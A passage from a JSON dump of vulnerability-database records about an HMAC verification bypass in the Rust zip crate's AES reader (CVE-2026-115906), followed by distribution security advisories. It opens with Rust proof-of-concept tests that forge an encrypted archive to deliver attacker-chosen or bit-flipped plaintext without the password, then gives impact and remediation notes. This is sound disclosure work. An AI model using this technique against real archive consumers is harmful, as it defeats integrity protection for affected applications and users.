password knowledge is required.\n    let mut evil = genuine.clone();\n    let new_hdr_offset = evil.len() as u32;\n    evil.extend_from_slice(\u0026genuine[..hdr_len + 18]); // local header + salt + verifier\n    for i in 0..GENUINE.len() {\n        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.\n        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);\n    }\n    let comment_len = (evil.len() - genuine.len()) as u16;\n    evil[eocd + 20..eocd + 22].copy_from_slice(\u0026comment_len.to_le_bytes());\n\n    // Repoint the central directory at the parked copy and declare more data than\n    // is present, so `data_remaining` can never reach zero.\n    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;\n    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(\u0026new_hdr_offset.to_le_bytes());\n    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(\u0026declared.to_le_bytes());\n    let hdr2 = new_hdr_offset as usize;\n    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(\u0026declared.to_le_bytes());\n\n    let content = victim_reads(\u0026evil).expect(\"BUG: unauthenticated content was accepted\");\n    assert_eq!(content, FORGED);\n}\n\n/// Second path: an entry with no payload bytes is never authenticated at all.\n#[test]\nfn hmac_is_never_checked_for_a_zero_length_entry() {\n    let mut a = genuine_archive(b\"\");\n    let tag = payload_start(\u0026a) + 18;\n    a[tag] ^= 0xff; // corrupt the 10-byte authentication code\n    let content = victim_reads(\u0026a).expect(\"BUG: a corrupt authentication code was accepted\");\n    assert!(content.is_empty());\n}\n```\n\nTurning the genuine plaintext into a *chosen* plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.\n\n### Impact\n\nAny application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.\n\n### Suggested remediation\n\n1. In `AesReaderValid::read()`, treat a short inner read as an error rather than a clean EOF: after the decrement, if `read == 0 \u0026\u0026 self.data_remaining \u003e 0`, return `ErrorKind::UnexpectedEof`.\n2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when `data_length == 0`.\n3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in `ZipFileData::find_content()` / `find_content_seek()` (`src/types.rs`). Also make the `compressed_size - overhead` subtraction in `AesReader::new()` (`src/aes.rs:144`) checked — today a declared size below the AES overhead underflows it, which panics under `overflow-checks` and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.","status":"published","published":"2026-10-29T16:40:07Z","modified":"2026-10-29T17:00:04.188177718Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-1284","CWE-354"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"UBUNTU-CVE-2026-115906","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:00Z","modified":"2026-10-28T20:17:21.898966438Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:00.081948Z"},{"id":"AZL-112208","title":"CVE-2026-115906 affecting package rust 1.75.0-31","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:17Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112217","title":"CVE-2026-115906 affecting package rust 1.98.1-1","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:17Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"openSUSE-SU-2026:22249-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n","status":"published","published":"2026-11-06T13:46:57Z","modified":"2026-11-11T17:23:13.169201446Z","updated_at":"2026-11-11T17:47:15.466074Z"},{"id":"SUSE-SU-2026:24641-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n","status":"published","published":"2026-11-06T13:46:08Z","modified":"2026-11-12T17:23:19.565102054Z","updated_at":"2026-11-12T18:02:05.26944Z"},{"id":"SUSE-SU-2026:24658-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n","status":"published","published":"2026-11-06T13:46:08Z","modified":"2026-11-12T17:23:20.404549087Z","updated_at":"2026-11-12T18:02:05.26944Z"},{"id":"SUSE-SU-2026:4930-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n\nChanges for rust-keylime:\n\n- Update to version 0.2.10+12:\n * log Agent UUID at push agent startup\n * Limit actix-web workers\n * Fix clippy needless_late_init warnings\n * Unwrap OCTET STRING wrapped EK certificates\n * build(deps): bump rand from 0.9.4 to 0.10.1\n * build(deps): bump glob from 0.3.3 to 0.3.4\n * build(deps): bump reqwest from 0.13.3 to 0.13.4\n * Check shutdown marker inside ml_extend loop\n * Fix clippy useless_borrows_in_formatting warnings\n * build(deps): bump tokio from 1.52.2 to 1.53.1\n * Fix payload key upgrade regression by falling back to mTLS key\n * Accept any RSA key size for payload encryption\n * Bump version to 0.2.10\n * keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols\n","status":"published","published":"2026-10-29T08:53:34Z","modified":"2026-10-31T18:00:03.940330945Z","updated_at":"2026-11-02T15:54:05.838224Z"},{"id":"SUSE-SU-2026:4931-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n\nChanges for rust-keylime:\n\n- Update to version 0.2.10+12:\n * log Agent UUID at push agent startup\n * Limit actix-web workers\n * Fix clippy needless_late_init warnings\n * Unwrap OCTET STRING wrapped EK certificates\n * build(deps): bump rand from 0.9.4 to 0.10.1\n * build(deps): bump glob from 0.3.3 to 0.3.4\n * build(deps): bump reqwest from 0.13.3 to 0.13.4\n * Check shutdown marker inside ml_extend loop\n * Fix clippy useless_borrows_in_formatting warnings\n * build(deps): bump tokio from 1.52.2 to 1.53.1\n * Fix payload key upgrade regression by falling back to mTLS key\n * Accept any RSA key size for payload encryption\n * Bump version to 0.2.10\n * keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols\n","status":"published","published":"2026-10-29T08:53:48Z","modified":"2026-10-31T18:00:04.923788339Z","updated_at":"2026-11-02T15:54:05.838224Z"}]}}
